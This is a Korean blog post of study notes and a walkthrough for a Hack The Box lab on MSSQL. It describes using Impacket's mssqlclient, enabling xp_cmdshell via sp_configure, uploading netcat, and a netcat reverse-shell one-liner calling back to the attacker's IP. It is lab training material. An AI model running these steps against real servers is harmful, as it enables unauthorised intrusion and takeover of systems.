
1. 기본 개념
1) nmap 옵션
-sC: 해당 포트 서비스에 대한 추가정보 탐색
2) smbclient 옵션
-N: 비밀번호 없이 접속
-L: 사용가능한 서비스 목록 확인
3) MSSQL
: DB 서버
- microsoft가 제작함
- sql 쿼리 언어 사용
- 윈도우에서 많이 사용함
치트시트)
https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
MSSQL Injection Cheat Sheet | pentestmonkey
MSSQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MSSQL databases… This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use th
pentestmonkey.net
Impacket: 네트워크 프로토콜을 다루기 위한 파이썬 클래스들 모음
- 프로토콜 구현 자체를 돕기도 함
설치)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python3 setup.py install
- examples 디렉터리: 공격을 위해 완성된 스크립트 모음집
> mssqclient.py: mssql 서버에 접속해서 명령을 실행하도록 돕는 스크립트.
>> 옵션 -windows-auth: 윈도우 계정으로 mssql에 로그인 하기 위한 옵션
> psexec.py: 다른 pc에서의 명령 실행 해 줌. 쉘 획득 시 사용.
ex) psexec.py Administrator@타겟IP : 관리자 권한으로 타켓 ip에 접속하기
SQL 명령어들)
- help
- SELECT IS_SRVROLEMEMBER ('sysadmin'); : 현재 로그인한 계정이 sysadmin 권한인지. 맞으면 1, 아니면 0 반환. null이면 권한 부족으로 확인 불가.
sysadmin: mssql에서 최상위 관리자 권한
IS_SRVROLEMEMBER: mssql 내장 함수. 현재 계정이 특정 서버 역할에 속해 있는지를 확인해줌.
*sys = system, srv = server
select: 조회, exec: 실행으로 구분!
EXEC: SQL에서 실행하라는 명령어
- xp_cmdshell: mssql에서 os 명령(=cmd.exe로 전달 O, 즉 윈도우 명령 전달 O해짐)을 실행할 수 있도록 돕는 기능. mssql 2005에서는 비활성화 되있을 수 있음.
즉 mssql 서버가 돌고 있는 윈도우 os에까지 접근하려는 것.
해당 스크립트 쓸 때마다 다시 cmd창이 새로 켜지는 것 주의!
> EXEC xp_cmdshell 'net user'; : 윈도우 os 사용자 목록 출력
- sp_configure: mssql 설정 변경용 명령 (서버 설정값 조회/변경)
> EXEC sp_configure 'show advanced options', 1; : 고급 설정 옵션 활성화 해두자.
> RECONFIGURE; : 설정 적용 ㄱㄱ
> EXEC sp_configure 'xp_cmdshell', 1; : os 명령 실행 기능 on
*priv: 관리자 권한이 필요함.
> xp_cmdshell "powershell -c 명령어들" : cmd대신 파워셀로 더 많은 기능을 사용하도록 확장 해주는 방법.
-c: 파워셀이 뒤 명령을 실행하도록 지시.
4) netcat = nc
: 네트워크로 데이터 주고 받는 tool
nc 옵션 [포트번호]
-l: listen = 대기
-v: verbose = 상세히 출력
-n: dns 안 씀. ip그대로 쓸 것 (더 빠르다)
-p: 포트
-e: 특정 프로그램 실헹 -> 입출력을 네트워크에 연결해
5) reverse shell
보통 나 -> 서버라면
리버스 셀은 서버 -> 나에게 접속인 것.
일반)
sudo python3 -m http.server 80
: 현재 폴더를 웹 서버로 만들어서 파일을 업로드함
- 포트 번호 80: 웹 기본 포트 (http://)
> http 서버를 파이썬 내장 기능으로 실행하도록 함
리버스 셀)
.\nc64.exe -e cmd.exe {ip} {port}
냇캣을 통해 cmd창이 바인딩 되도록 함.
6) winPEAS: 대상 시스템 정보 찾기 과정을 자동화 해 줌.
- 사용자가 입력한 내용을 기록한 파일을 알려주기도 함
2. 문제 풀이





우선 mssqlclient.py 스크립트를 사용해서 우리가 앞서 얻은 호스트명/아이디, 비번을 사용해서 윈도우 계정 접속을 시도해 본다.

그리고 우리가 sysadmin권한인지 조회.

맞다네.

근데 xp_cmdshell은 아직 권한 부족해 보임.
설정을 건드려주자. 고급 설정 on해주고, 확인 ㄱㄱ.

권한을 0->1로 바꿔줌.


이제 xp_xmdshell 스크립트 사용이 가능함. 여기서 파워셀 키는 명령도 켜줌

이제 cmd까지 완전히 내 pc 셸처럼 쓸 수 있게 타켓 pc에 냇캣도 깔아줄 거다.
그럴러면 우선 내 pc에서 서버 하나 만들어줘서, 타켓에 업로드 할 거임. 80은 안 돼서 8000포트 번호 사용해봄.

리스닝 대기도 시키기,,

다시 sql로 돌아가서 다운 ㄱ.




그리고 정보 탐색을 위한 툴 winpeas도 다운 ㄱ.



위 툴 실행 결과 중 중요 파일로 추측되는 목록도 보임. 그중 다음 기록 파일로 들어가보자.


여기에 관리자 권한 정보까지 들어가있음.

권한을 가지고 들어간 폴더에서 2개의 플래그 파일 보임.


'Hack The Box > Lab' 카테고리의 다른 글
| Appointment - sql injection (0) | 2026.04.29 |
|---|---|
| Markup (0) | 2026.04.12 |
| Synced - rsync(ftp의 암호화) (0) | 2026.03.28 |
| Mongod - db: mongoDB & mongosh (0) | 2026.03.28 |
| Preignition - http & gobuster (0) | 2026.03.27 |